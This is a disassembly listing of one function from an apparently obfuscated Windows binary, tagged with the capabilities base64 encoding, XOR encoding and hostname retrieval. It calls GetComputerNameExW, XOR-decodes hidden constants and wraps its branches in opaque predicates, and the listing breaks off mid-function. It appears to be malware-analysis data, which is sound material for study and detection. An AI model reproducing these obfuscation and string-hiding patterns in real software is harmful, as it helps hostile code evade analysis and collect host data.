Function at 0x14001cdd0
Capabilities:
Encode data using base64
Encode data using xor
Get hostname

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x338
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x2a0], xmm8
movdqa xmmword [rbp + 0x290], xmm7
movdqa xmmword [rbp + 0x280], xmm6
mov eax, dword [0x141dc2900]
imul eax, dword [0x141dc2904]
xor eax, 0xda5e5c08
imul eax, eax, 0xdc3b7078
add eax, 0xe8f53a48
cmp eax, 0x8c12f87f
jbe 0x14001ce76
mov eax, 0xd0
call fcn.1400ef330
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
mov rcx, rsi
call fcn.1400daef0
mov rcx, rsi
call fcn.1400db820
add rsp, 0x20
mov dword [rbp + 0x230], 0
sub rsp, 0x20
lea r8, [rbp + 0x230]
mov ecx, 5
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
add rsp, 0x20
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x20
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov r14, rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x20
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x18], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x20], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x28], rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x30], rsp
mov eax, 0x20
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x68], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x58], rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x268], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov qword [rbp + 0x270], rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov r12, rsp
mov eax, 0x30
call fcn.1400ef330
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call fcn.1400ef330
sub rsp, rax
mov r13, rsp
mov eax, 0xd0
call fcn.1400ef330
sub rsp, rax
mov r15, rsp
sub rsp, 0x20
mov rcx, r15
call fcn.1400daef0
mov qword [rbp], r15
mov rcx, r15
call fcn.1400db820
add rsp, 0x20
mov dword [rbp + 0x230], 0
sub rsp, 0x20
lea r8, [rbp + 0x230]
mov ecx, 5
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
add rsp, 0x20
test eax, eax
jne 0x14001d0a9
mov eax, dword [0x141dc2908]
sub eax, dword [0x141dc290c]
add eax, 0x79581e6
cmp eax, 0xdbd28c46
jbe 0x14001d09b
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x40], rdi
mov ebx, dword [rbp + 0x230]
test rbx, rbx
je 0x14001d0ee
mov r15, r14
mov eax, dword [0x141dc2910]
or eax, dword [0x141dc2914]
or eax, 0xddc230cc
shr eax, 1
mov ecx, 0x89b9f7a5
imul rcx, rax
shr rcx, 0x3d
imul eax, ecx, 0xc36d316
cmp eax, 0xb00825f4
ja 0x14001d12c
jmp 0x14001d0f5
mov edi, 2
jmp 0x14001d153
mov eax, dword [0x141dc2918]
xor edx, edx
div dword [0x141dc291c]
mov r14d, eax
xor r14d, 0x8c24d90
lea rdx, [rbx + rbx]
sub rsp, 0x20
mov ecx, 8
call fcn.1400c0180
add rsp, 0x20
cmp r14d, 0x463c8ed0
jbe 0x14001d144
lea rdx, [rbx + rbx]
sub rsp, 0x20
mov ecx, 8
call fcn.1400c0180
add rsp, 0x20
jmp 0x14001d0f5
mov rdi, rax
test rax, rax
je 0x1400225b4
mov r14, r15
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], rbx
sub rsp, 0x20
lea r8, [rbp + 0x230]
mov ecx, 5
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
add rsp, 0x20
test eax, eax
mov qword [rbp - 8], r14
je 0x14001d243
lea rcx, [rdi + rbx*2]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2920]
xor edx, edx
div dword [0x141dc2924]
or eax, 0xf1ffff7b
imul eax, eax, 0x4ef58cd2
cmp eax, 0x202b1114
jb 0x14001d1a0
test ebx, ebx
je 0x14001d2f5
xor r14d, r14d
mov rax, rdi
nop
cmp word [rax], 0
je 0x14001d2f9
nop word [rax + rax]
mov edx, dword [0x141dc2928]
add edx, dword [0x141dc292c]
xor edx, 0x818a8080
and edx, 0x9bce8083
add edx, 0x6eb26bd1
cmp edx, 0x4d94ebac
ja 0x14001d1e0
add rax, 2
nop word [rax + rax]
mov edx, dword [0x141dc2930]
and edx, dword [0x141dc2934]
xor edx, 0x110440a
or edx, 0xf64f8af5
add edx, 0x9c3dbf12
cmp edx, 0xa41b6ef9
ja 0x14001d210
inc r14
cmp rax, rcx
jne 0x14001d1d0
jmp 0x14001d31d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
test ebx, ebx
je 0x14001d2d0
mov eax, dword [0x141dc2938]
xor eax, dword [0x141dc293c]
and eax, 0xdd51bd52
add eax, 0xa888589f
or eax, 0xda03e04
cmp eax, 0xec784036
jbe 0x14001d27e
mov rax, qword [0x141ddb260]
mov rbx, qword [0x141ddb260]
mov eax, dword [0x141dc2940]
add eax, dword [0x141dc2944]
and eax, 0x1ec1053
add eax, 0xec7bd7a2
cmp eax, 0x80ad1583
jae 0x14001d2b8
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop
mov eax, dword [0x141dc2948]
xor eax, dword [0x141dc294c]
cmp eax, 0x1371173a
je 0x14001d2d0
movabs r14, 0x8000000000000000
mov rbx, r14
jmp 0x14001d3ec
xor ebx, ebx
jmp 0x14001d31d
mov eax, dword [0x141dc2950]
xor edx, edx
div dword [0x141dc2954]
mov r15, r14
sub r15, rbx
ja 0x14001d9fc
mov qword [rbp + 0x1e0], r14
mov rbx, r14
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
mov rdx, rdi
mov r8, rbx
call fcn.140039830
add rsp, 0x20
mov rbx, qword [rbp + 0xd0]
mov r15, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x1d0], 0
je 0x14001d3c0
nop dword [rax]
mov eax, dword [0x141dc2968]
or eax, dword [0x141dc296c]
or eax, 0x50c08092
and eax, 0x53e0fcb2
xor eax, 0xa66328a1
mov rcx, qword [0x141ddb260]
cmp eax, 0x9fc8eebb
jb 0x14001d360
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141dc2970]
and eax, dword [0x141dc2974]
imul eax, eax, 0x6800fda4
add eax, 0x625ba18d
cmp eax, 0x389e3a6e
jb 0x14001d3a0
nop
mov eax, dword [0x141dc2978]
and eax, dword [0x141dc297c]
add eax, 0x197cdbfa
and eax, 0x707aa05b
add eax, 0xfdcb5050
cmp eax, 0x8703251d
ja 0x14001d3c0
movabs r14, 0x8000000000000000
lea rax, [0x141daabba]
mov qword [rbp + 0xd0], rax
lea rdi, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x54ff1d507fd6b701
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.14001a1f0
add rsp, 0x20
movabs rcx, 0xfa7ec33fe7f229bd
xor rcx, qword [rax]
mov edx, 0x613f7453
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0xa9
xor r9b, 0x22
xor r8b, 0x1f
xor r11d, r11d
mov r10d, 1
mov qword [r13], rcx
mov dword [r13 + 8], edx
mov byte [r13 + 0xc], al
mov byte [r13 + 0xd], r9b
mov byte [r13 + 0xe], r8b
cmp rbx, r14
cmovne r10, r15
mov qword [rbp + 0x50], r10
cmovne r11, rbx
mov qword [rbp + 8], r11
je 0x14001d4ee
cmp qword [rbp + 0x258], 0xf
jne 0x14001d4ee
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax]
mov rdx, qword [rax + 7]
xor rcx, qword [r13]
xor rdx, qword [r13 + 7]
xor eax, eax
or rdx, rcx
setne al
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2980]
xor ecx, dword [0x141dc2984]
and ecx, 0x70008021
xor ecx, 0x78c02008
or ecx, 0x86375f56
cmp ecx, 0xee60694c
ja 0x14001d4c0
test eax, eax
je 0x14001d720
mov eax, dword [0x141dc2988]
imul eax, dword [0x141dc298c]
xor eax, 0x21105c00
and eax, 0xa1b2fd26
add eax, 0x2a6d132
cmp eax, 0x504c3a08
jae 0x14001d525
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.1400de730
add rsp, 0x20
sub rsp, 0x20
lea rsi, [rbp + 0xd0]
mov rcx, rsi
call fcn.1400de730
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x14001dab2
lea rax, [0x141da7438]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0xf7fc3093063ae4a8
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019220
add rsp, 0x20
movabs rcx, 0x8328b3902449038c
xor rcx, qword [rax]
movabs rdx, 0x3f11b2b63e05de9d
xor rdx, qword [rax + 8]
mov r8d, 0x21a9b4b5
xor r8d, dword [rax + 0x10]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov dword [rbp + 0xe0], r8d
sub rsp, 0x20
lea rcx, [rbp + 0x230]
lea rdi, [rbp + 0xd0]
mov r8d, 0x14
mov rdx, rdi
call fcn.1400deae0
add rsp, 0x20
movzx eax, byte [rbp + 0x230]
cmp rax, 0x12
jne 0x14001d681
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0xb0], rax
lea rax, [0x141daa49b]
mov qword [rbp + 0xd0], rax
mov rsi, qword [rbp + 0xd0]
movabs rax, 0x13af67d9d8d53740
mov qword [rbp + 0xd0], rax
mov rdi, qword [rbp + 0xd0]
movabs r14, 0xc1e5d256daea85b8
movabs r15, 0x5ae8f0c0404880ea
movabs r12, 0x3c07d06ace1eb9be
movabs r13, 0x423ad6d07549e8f
mov eax, dword [0x141dc29d8]
xor eax, dword [0x141dc29dc]
imul eax, eax, 0x4f4d2ee1
and eax, 0x594423b4
xor eax, 0x7e26cc5
cmp eax, 0x7bb16d0c
ja 0x14001db97
jmp 0x14001dad9
cmp rax, 0x10
ja case.0x14001d699.6
lea rcx, [0x141dba014]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, dword [0x141dc29d0]
imul eax, dword [0x141dc29d4]
xor eax, 0x92501c8
or eax, 0x765a0607
add eax, 0xdbe344b9
cmp eax, 0x79cbbd52
ja case.0x14001d699.0
mov byte [rbp + 0x27f], 1
jmp 0x14001e612
mov eax, dword [0x141dc29b8]
imul eax, dword [0x141dc29bc]
add eax, 0xa8e44d00
cmp eax, 0x34d940a4
ja case.0x14001d699.10
mov rax, qword [rbp + 0x238]
mov ecx, dword [0x141dc29c0]
add ecx, dword [0x141dc29c4]
imul rcx, rcx, 0x65aeee53
shr rcx, 0x3e
add ecx, 0x8d6eb1c7
and ecx, 0x8542a1ce
cmp ecx, 0xa6f358d8
ja 0x14001d6f0
jmp 0x14001d988
lea rax, [0x141da93d8]
mov qword [rbp + 0xd0], rax
mov rbx, qword [rbp + 0xd0]
movabs rax, 0x1f74dc86f97dd092
mov qword [rbp + 0xd0], rax
movabs rdi, 0xe6f279b749158f2f
movabs r14, 0xb5491db0c86e2d52
movabs r15, 0x45ebc7a8b5615dc4
movabs r13, 0xedca2599ec5fdc7
mov eax, dword [0x141dc2f70]
or eax, dword [0x141dc2f74]
xor eax, 0x8002105
and eax, 0x3858670d
imul eax, eax, 0xf40489a9
cmp eax, 0x385c2af
jae 0x14001d816
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rbx
call fcn.14001a630
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r15
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
movzx r10d, byte [rax + 0x22]
movzx eax, word [rax + 0x20]
mov r11, qword [rbp + 0x268]
mov qword [r11], rcx
xor rdx, r13
mov qword [r11 + 8], rdx
xor r8, r14
mov qword [r11 + 0x10], r8
xor r9, rdi
mov qword [r11 + 0x18], r9
mov ecx, eax
xor al, 0xf5
mov byte [r11 + 0x20], al
shr ecx, 8
xor cl, 0x67
mov byte [r11 + 0x21], cl
xor r10b, 0x5d
mov byte [r11 + 0x22], r10b
mov rax, qword [rbp + 0x270]
mov qword [rax], r11
mov qword [rax + 8], 0x23
mov qword [r12], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rbx
call fcn.14001a630
add rsp, 0x20
xor r15, qword [rax]
xor r13, qword [rax + 8]
xor r14, qword [rax + 0x10]
xor rdi, qword [rax + 0x18]
movzx ecx, byte [rax + 0x22]
movzx eax, word [rax + 0x20]
mov edx, eax
shr edx, 8
xor al, 0xf5
xor dl, 0x67
xor cl, 0x5d
mov r8, qword [rbp + 0x268]
mov qword [r8], r15
mov qword [r8 + 8], r13
mov qword [r8 + 0x10], r14
mov qword [r8 + 0x18], rdi
mov byte [r8 + 0x20], al
mov byte [r8 + 0x21], dl
mov byte [r8 + 0x22], cl
mov rax, qword [rbp + 0x270]
mov qword [rax], r8
mov qword [rax + 8], 0x23
mov qword [r12], rax
mov eax, dword [0x141dc2f78]
imul eax, dword [0x141dc2f7c]
xor eax, 0x20204002
or eax, 0xd45a2525
and eax, 0xfcfb7727
cmp eax, 0xda40f610
jb 0x14001e863
jmp 0x14001e7ef
mov esi, 0x10
cmp qword [rbp + 0x238], 0
jne 0x14001d996
jmp case.0x14001d699.0
mov rcx, qword [rbp + 0x238]
nop word cs:[rax + rax]
mov eax, dword [0x141dc29a8]
or eax, dword [0x141dc29ac]
imul eax, eax, 0x4ac379fd
add eax, 0x892439b7
cmp eax, 0xf2a9abd7
ja 0x14001d8e0
nop
mov eax, dword [0x141dc29b0]
xor edx, edx
div dword [0x141dc29b4]
imul eax, eax, 0xad687137
xor eax, 0xe4b7d272
imul eax, eax, 0xe73719ca
cmp eax, 0x5ab3e889
jb 0x14001d900
mov esi, 0x10
test rcx, rcx
jne 0x14001d996
jmp case.0x14001d699.0
mov esi, 8
cmp qword [rbp + 0x240], 0
jne 0x14001d996
jmp case.0x14001d699.0
mov rax, qword [rbp + 0x238]
mov ecx, 0xe508fd0d
nop word cs:[rax + rax]
mov edx, dword [0x141dc29c8]
or edx, dword [0x141dc29cc]
xor edx, 0xeff9a56d
imul rdx, rcx
shr rdx, 0x39
xor edx, 0xc399ef81
cmp edx, 0xde6f2d1e
ja 0x14001d960
mov esi, 0x10
test rax, rax
je case.0x14001d699.0
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov ebx, dword [0x141dc29a0]
and ebx, dword [0x141dc29a4]
and ebx, 0xa6968869
add ebx, 0xd6c6f448
mov r8, qword [rbp + rsi + 0x230]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call rdi
add rsp, 0x20
cmp ebx, 0x3886888e
ja case.0x14001d699.0
mov r8, qword [rbp + rsi + 0x230]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call rdi
add rsp, 0x20
jmp 0x14001d9a0
sub rsp, 0x30
mov qword [rsp + 0x20], 2
lea rcx, [rbp + 0x1d0]
mov r9d, 2
mov rdx, rbx
mov r8, r15
call fcn.1400fe010
add rsp, 0x30
mov rdi, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1e0]
lea rcx, [rdi + rdx*2]
cmp r15, 2
jb 0x14001da8a
not rbx
add r14, rbx
add r14, r14
sub rsp, 0x20
mov rbx, rdx
xor edx, edx
mov r8, r14
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
add rsp, 0x20
add rdx, r15
lea rcx, [rdi + rdx*2]
add rcx, 0xfffffffffffffffe
dec rdx
mov eax, dword [0x141dc2958]
and eax, dword [0x141dc295c]
imul eax, eax, 0x40803ec0
add eax, 0x42b06080
cmp eax, 0x3806da8a
jb 0x14001da6c
mov eax, dword [0x141dc2960]
and eax, dword [0x141dc2964]
cmp eax, 0x76476b5b
jne 0x14001daa2
mov word [rcx], 0
mov word [rcx], 0
inc rdx
mov r14, rdx
jmp 0x14001d313
mov eax, dword [0x141dc2990]
xor eax, dword [0x141dc2994]
imul eax, eax, 0x5bcf4d5a
add eax, 0x3a15da60
cmp eax, 0x6953a006
ja 0x14001e991
jmp 0x14001e962
mov eax, dword [0x141dc29e0]
xor edx, edx
div dword [0x141dc29e4]
shr eax, 5
imul rbx, rax, 0x85ad709
shr rbx, 0x36
or ebx, 0x57502b08
xor ebx, 0x9a928e5
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
call fcn.1400189e0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r12
mov rdx, qword [rax + 8]
xor rdx, r13
mov r8, qword [rax + 0x10]
xor r8, r15
mov r9, qword [rax + 0x18]
xor r9, r14
mov rax, qword [rax + 0x20]
movabs r10, 0xe2647abe0e4adfa1
xor rax, r10
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0xf0], rax
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0xb0]
lea r8, [rbp + 0xd0]
mov r9d, 0x28
call fcn.140007550
add rsp, 0x20
cmp ebx, 0x76b5d40b
jbe 0x14001dc26
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
call fcn.1400189e0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r12
mov rdx, qword [rax + 8]
xor rdx, r13
mov r8, qword [rax + 0x10]
xor r8, r15
mov r9, qword [rax + 0x18]
xor r9, r14
mov rax, qword [rax + 0x20]
movabs r10, 0xe2647abe0e4adfa1
xor rax, r10
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0xf0], rax
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0xb0]
lea r8, [rbp + 0xd0]
mov r9d, 0x28
call fcn.140007550
add rsp, 0x20
jmp 0x14001dad9
cmp byte [rbp + 0x1d0], 0x12
jne 0x14001e74a
mov eax, 0x98942c4f
nop dword [rax + rax]
mov ecx, dword [0x141dc29e8]
xor ecx, dword [0x141dc29ec]
imul rcx, rax
shr rcx, 0x3f
or ecx, 0xef7b7b6a
cmp ecx, 0x4dcb7f81
jb 0x14001dc40
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0xa8], rax
mov rdi, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x1e8]
mov eax, dword [0x141ddb27c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x70], 0
je 0x14001e69d
mov eax, dword [0x141ddb27c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x78]
mov r8, qword [rax + 0x80]
lea rax, [rcx + 1]
mov edx, dword [0x141ddb27c]
mov r9, qword gs:[0x58]
mov rdx, qword [r9 + rdx*8]
mov qword [rdx + 0x78], rax
movups xmm0, xmmword [0x141db98f0]
movaps xmmword [rbp + 0x1d0], xmm0
movdqu xmm0, xmmword [0x141db9900]
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], r8
lea rbx, [rsi + rsi*2]
shl rbx, 4
add rbx, rdi
mov r15, rdi
test rsi, rsi
mov qword [rbp + 0xa0], rdi
je 0x14001e36f
lea rsi, [rbp + 0xd8]
nop
mov eax, dword [0x141dc29f8]
xor eax, dword [0x141dc29fc]
and eax, 0x8840e7a
add eax, 0x9d641ba9
cmp eax, 0x194a030c
jb 0x14001dd30
lea rax, [0x141db98e0]
mov qword [rbp + 0x258], rax
xor eax, eax
mov qword [rbp + 0x268], rax
lea r12, [0x140102eb0]
lea r13, [rbp + 0xd0]
pcmpeqd xmm6, xmm6
mov r14d, 0xa78f78fb
mov r15, rdi
mov qword [rbp + 0x1b0], rbx
jmp 0x14001ddc4
mov rbx, qword [rbp + 0x1b0]
mov r15, qword [rbp + 0x1b8]
lea rsi, [rbp + 0xd8]
lea r12, [0x140102eb0]
lea r13, [rbp + 0xd0]
sub rsp, 0x20
mov rcx, r13
call fcn.14000d4f0
add rsp, 0x20
cmp r15, rbx
je 0x14001e3e6
mov rax, r15
nop word [rax + rax]
mov ecx, dword [0x141dc2a10]
and ecx, dword [0x141dc2a14]
or ecx, 0x77580db5
add ecx, 0x2537dc9c
or ecx, 0x9337220b
cmp ecx, 0xef8fb2a5
ja 0x14001ddd0
lea r15, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001e36f
mov qword [rbp + 0xd0], rcx
mov rcx, qword [rax + 0x28]
mov qword [rsi + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
sub rsp, 0x20
mov r8d, 0xb
mov rcx, r13
mov rdx, r12
call fcn.14001c890
add rsp, 0x20
test rax, rax
je 0x14001ddab
cmp byte [rax + 0x18], 2
jne 0x14001ddab
mov qword [rbp + 0x1b8], r15
mov r15, qword [rax + 0x28]
nop dword [rax]
mov ecx, dword [0x141dc2a50]
add ecx, dword [str.w_fG]
and ecx, 0x70efc0e
add ecx, 0x98d62998
cmp ecx, 0xb651158f
ja 0x14001de60
mov r12, qword [rax + 0x30]
test r12, r12
js 0x14001e7ad
je 0x14001df0c
mov eax, dword [0x141dc2a58]
mov ecx, dword [0x141dc2a5c]
add eax, ecx
add eax, 0x1fccf96a
and eax, 0xb8d15de5
imul eax, eax, 0x51327c83
cmp eax, 0xa93a49eb
jne 0x14001debb
movzx eax, byte [0x141ddb278]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
xor ecx, ecx
mov rdx, r12
call fcn.1400c0180
add rsp, 0x20
mov r13, rax
nop word [rax + rax]
mov eax, dword [0x141dc2a60]
sub eax, dword [0x141dc2a64]
xor eax, 0xb618afe
add eax, 0x27dd459e
xor eax, 0x4d3f02d1
cmp eax, 0x8bd5adb6
jb 0x14001dee0
test r13, r13
jne 0x14001df12
jmp 0x14001e7ad
mov r13d, 1
sub rsp, 0x20
mov rcx, r13
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rbx, qword [rbp + 0x1f0]
mov rsi, qword [rbp + 0x1f8]
sub rsp, 0x20
mov rcx, rbx
mov rdx, rsi
mov r8, r13
mov r9, r12
call fcn.1400c1870
add rsp, 0x20
mov r15, rax
cmp qword [rbp + 0x1e0], 0
mov rcx, qword [rbp + 0x258]
je 0x14001e288
mov rax, r15
shr rax, 0x39
mov qword [rbp + 0x1a8], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rbp + 0x270], rax
xor eax, eax
mov qword [rbp + 0x260], rax
mov rdx, qword [rbp + 0x268]
mov qword [rbp + 0x258], rcx
and r15, rdx
movdqu xmm8, xmmword [rcx + r15]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb edi, xmm0
test edi, edi
je 0x14001e080
nop word cs:[rax + rax]
tzcnt eax, edi
add rax, r15
and rax, rdx
neg rax
lea rax, [rax + rax*2]
cmp r12, qword [rcx + rax*8 - 8]
jne 0x14001e050
lea rbx, [rcx + rax*8]
nop dword [rax]
mov eax, dword [0x141dc2a90]
xor edx, edx
div dword [str.ce_O]
mov esi, eax
add esi, 0x28699b07
or esi, 0xb8331c89
add esi, 0x5921a47f
mov rdx, qword [rbx - 0x10]
sub rsp, 0x20
mov rcx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
add rsp, 0x20
cmp esi, 0x21c2962f
ja 0x14001dff0
test eax, eax
mov rcx, qword [rbp + 0x258]
mov rdx, qword [rbp + 0x268]
je 0x14001e1f0
nop word [rax + rax]
mov eax, dword [0x141dc2aa0]
xor eax, dword [0x141dc2aa4]
imul rax, r14
shr rax, 0x3e
add eax, 0xdd59d8bd
cmp eax, 0xecb76b38
ja 0x14001e050
lea eax, [rdi - 1]
and eax, edi
mov edi, eax
test ax, ax
jne 0x14001dfd0
mov eax, dword [0x141dc2a98]
or eax, dword [0x141dc2a9c]
cmp eax, 0xbd69300b
je 0x14001e080
cmp qword [rbp + 0x260], 1
mov r10d, 1
mov r8, qword [rbp + 0x1c8]
mov r9, qword [rbp + 0x270]
je 0x14001e0d0
pmovmskb eax, xmm8
xor r10d, r10d
bsf r8d, eax
setne r10b
add r8, r15
and r8, rdx
nop word [rax + rax]
mov eax, dword [0x141dc2aa8]
imul eax, dword [0x141dc2aac]
xor eax, 0xf9ebbd61
add eax, 0x34f7aa02
cmp eax, 0xc2b38315
ja 0x14001e0d0
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test ax, ax
jne 0x14001e170
nop dword [rax]
mov eax, dword [0x141dc2ab0]
imul eax, dword [0x141dc2ab4]
or eax, 0x7abba935
add eax, 0x96b845a9
cmp eax, 0x73e9bb43
jb 0x14001e100
mov qword [rbp + 0x1c8], r8
add r9, 0x10
nop dword [rax]
mov eax, dword [0x141dc2ab8]
or eax, dword [0x141dc2abc]
add eax, 0x789ee1ee
or eax, 0x99415be3
xor eax, 0xe57b8f45
cmp eax, 0x9169f0ab
ja 0x14001e130
mov qword [rbp + 0x260], r10
mov rax, r9
mov qword [rbp + 0x270], r9
add r15, r9
jmp 0x14001dfa7
mov eax, dword [0x141dc2ac0]
and eax, dword [0x141dc2ac4]
cmp eax, 0xa93de790
je 0x14001e170
movzx eax, byte [rcx + r8]
test al, al
mov rbx, qword [rbp + 0x1b0]
mov r15, qword [rbp + 0x1b8]
js 0x14001e1ac
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt r8d, eax
movzx eax, byte [rcx + r8]
and al, 1
movzx eax, al
sub qword [rbp + 0x1e0], rax
lea rax, [r8 - 0x10]
and rax, rdx
mov rdx, qword [rbp + 0x1a8]
mov byte [rcx + r8], dl
mov byte [rax + rcx + 0x10], dl
inc qword [rbp + 0x1e8]
neg r8
lea rax, [r8 + r8*2]
mov qword [rcx + rax*8 - 0x18], r12
mov qword [rcx + rax*8 - 0x10], r13
mov qword [rcx + rax*8 - 8], r12
jmp 0x14001dd96
test r12, r12
je 0x14001dd88
mov eax, dword [0x141dc2ac8]
xor eax, dword [0x141dc2acc]
imul eax, eax, 0x934e85fc
add eax, 0x24a68960
or eax, 0xd0b6a621
cmp eax, 0xfb8bc1df
mov rbx, qword [rbp + 0x1b0]
mov r15, qword [rbp + 0x1b8]
lea rsi, [rbp + 0xd8]
lea r12, [0x140102eb0]
jbe 0x14001e23f
mov rax, qword [0x141ddb260]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141dc2ad0]
and eax, dword [0x141dc2ad4]
imul eax, eax, 0xb652750a
add eax, 0x455e9c96
xor eax, 0x8f8093d3
cmp eax, 0x14257af
jb 0x14001e260
jmp 0x14001dda4
mov eax, dword [0x141dc2a70]
sub eax, dword [0x141dc2a74]
add eax, 0xba2dd6f8
cmp eax, 0x3b12e607
jb 0x14001e350
mov eax, dword [0x141dc2a78]
xor edx, edx
